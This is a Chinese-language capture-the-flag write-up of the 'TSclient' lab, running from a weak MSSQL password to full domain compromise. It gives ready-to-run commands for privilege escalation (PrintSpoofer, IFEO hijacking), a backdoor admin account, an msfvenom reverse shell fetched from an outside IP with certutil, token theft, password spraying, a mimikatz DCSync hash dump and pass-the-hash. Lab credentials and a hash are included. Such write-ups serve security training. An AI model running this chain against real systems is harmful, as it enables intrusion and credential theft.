春秋云镜-TSclient
Tsclient是一种在VPS上挂载本地磁盘的方法,在连接界面选择挂载,再次连接
flag1
fscan扫到了ISS的弱密码
1
fscan -h 39.99.159.74 - ALL
1
"C:\Program Files\Java\jdk1.8.0_65\bin\java.exe" -jar MDUT.jar
这里用MDUT成功拿shell(提权也可以试试用SweetPotato.exe)
可以命令执行
接下来把vshell下的马子传上来,执行命令
1
powershell -w hidden -c "Start-Process 'C:\迅雷下载\tcp_windows_amd64.exe'"
上线成功
没找到flag,发现Administrator文件夹没有权限,需要提权
服务账户有 SeImpersonatePrivilege(模拟令牌权限),PrintSpoofer 利用这个权限:
1
2
3
4
5
NT Service\MSSQLSERVER
└─ 有 SeImpersonatePrivilege
└─ PrintSpoofer 强制 Spooler 服务(SYSTEM)连接我们的管道
└─ 模拟 SYSTEM 令牌
└─ 以 SYSTEM 身份执行 cmd
传一个PrintSpoofer进行提权
1
PrintSpoofer64.exe -i -c cmd
提权成功
读取flag,得到第一个flag
flag2
查看当前ip,接下来用fscan扫一下内网
1
fscan -h 172.22.8.0/24
扫出三台机子
1
2
3
NetBios 172.22.8.46 WIN2016.xiaorang.lab
NetBios 172.22.8.31 XIAORANG\WIN19-CLIENT
NetBios 172.22.8.15 DC:XIAORANG\DC01
没有什么能直接利用的服务
那我们接着信息收集一下 #查看当前机器用户
1
net user
1
quser
发现一个john用户远程连接本台机子
为了方便可以新建一个用户rdp连上去
1
2
3
4
5
net user hunsil Abc12345678 /add
net localgroup administrators hunsil /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
远程桌面连接
管理员权限可以偷RDP用户的token,从而查看其挂载的盘
1
2
3
4
5
6
7
8
9
10
11
12
Token 分两种:
- **Primary Token**:进程的主令牌
- **Impersonation Token**:用于模拟,分四个级别(Anonymous / Identification / Impersonation / **Delegation**)
只有 **Delegation** 级别的令牌才能被远程使用,也是 incognito 最感兴趣的。
## MSF incognito 操作
```
meterpreter > use incognito
meterpreter > list_tokens -u # 列出可用 token
meterpreter > impersonate_token "WIN-WEB\\John" # 模拟 John 的身份
meterpreter > shell # 弹出以 John 身份运行的 shell
```
为什么能拿到 John 的 token?因为前面已经是 SYSTEM,SYSTEM 拥有 `SeDebugPrivilege`,可以访问系统内所有进程的内存和令牌。
1
2
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.148.230.29 LPORT=6666 -f exe -o msf.exe //生成反弹shell
python3 -m http.server 23333
1
2
certutil -urlcache -split -f http://8.148.230.29:23333/msf.exe C:\Windows\Temp\msf.exe
C:\Windows\Temp\msf.exe
1
msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 9999; exploit"
1
2
3
4
5
6
第四步:上线后偷 token
```
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "WIN-WEB\\John"
meterpreter > shell
1
net use
看一下挂载情况,挂载了c盘
查看c盘中的credential.txt文件
这里有一串账号密码,可以用这串账号密码进行一个密码喷洒
1
crackmapexec -q smb 172.22.8.0/24 -u Aldrich -p Ald@rLMWuy7Z!#
这里用kali,先用frp内网渗透
vps执行
1
./frps -c frps.toml
靶机上传frpc.exe和frpc.toml,执行
1
C:\hunsil\frpc.exe -c C:\hunsil\frpc.toml
socks5代理成功,然后密码喷洒
可以看到这三台机貌似都能登上去
先登一下31的,用rdesktop登录,rdp好像不行
1
proxychains4 rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
提示密码过期,改个密码就行了
但是改完密码这台机还是登不上,没有登陆权限
所以我们尝试用这个修改后的账号密码再去登这个账号的另一台机子
成功在46中登入
后面可以用rdp,没这么卡
执行systeminfo
可以看到我们已经拿下域内的一台机子了
接着我们用bloodhound来进行一下域内信息收集
1
SharpHound.exe -c all
将数据采集完生成的zip文件,上传导入到BloodHound分析
从图中,我们会发现46这台机子的用户是域管,那我们接下来就要想办法在这台机子上提权,然后拿下域控
前面提示:
1
Do you know how to hijack Image?
接下来要进行镜像劫持(IFEO)提权
1
IFEO(Image File Execution Options)是 Windows 注册表中的一个键,原本用于调试程序——你可以指定某个程序启动时自动挂载一个调试器。攻击者可以滥用这个机制,让目标程序启动时实际执行任意命令。
注册表路径:
1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<目标程序.exe>
用get-acl查看IFEO权限,fl命令是为了把一行显示为多行
1
Get-ACL -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl
获取指定注册表路径的访问控制列表(ACL)。
1
NT AUTHORITY\Authenticated Users
其中Authenticated Users指的是所有非来宾用户,也包括John,拥有对这个目录的所有权限。
我们可以发现全部已登录用户都可以对注册表进行修改
那我们就可以通过修改注册表进行映像劫持
我们这里通过将放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,来进行提权
添加 Debugger 值后,每次系统尝试启动 <目标程序.exe>,Windows 实际上会去执行 Debugger 里指定的程序。
1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
为什么选 magnify.exe?
Windows 登录屏幕(Winlogon)的辅助功能按钮(放大镜、屏幕键盘、讲述人)在点击时以 SYSTEM 身份运行,因为 Winlogon 进程本身就是 SYSTEM。
常见可劫持的登录界面程序:
| 程序 | 快捷方式 |
|---|---|
magnify.exe | 放大镜 |
osk.exe | 屏幕键盘 |
narrator.exe | 讲述人 |
utilman.exe | 辅助功能菜单(Win+U) |
sethc.exe | 粘滞键(Shift×5) |
修改后选择锁定,右下角打开放大镜,得到一个system权限的cmd
读取flag2
1
type c:\Users\Administrator\flag\flag02.txt
flag3
接着我们可以rdp可以连上去
需要Proxifier代理socks5
上传mimikatz.exe
接下来就是常规的将域内用户的哈希dump下来
1
DCSync 是 mimikatz 中的一个功能,利用域控的 MS-DRSR 复制协议——域控之间同步数据时使用这个协议。如果你拥有足够的权限(域管或者有 Replicating Directory Changes 权限),可以伪装成另一台域控向真实域控请求同步所有用户的哈希值,而不需要在域控上直接执行代码。
1
mimikatz.exe "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit > mimikatz.txt
结果:
之后就可以进行横向移动了
1
proxychains4 impacket-smbexec -hashes :2c9d81bdcf3ec8b1def10328a7cc2f08 xiaorang.lab/administrator@172.22.8.15 -codec gbk
1
type c:\users\administrator\flag\flag03.txt
参考文章: https://blog.xrntkk.top/post/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-tsclient-writeup/






































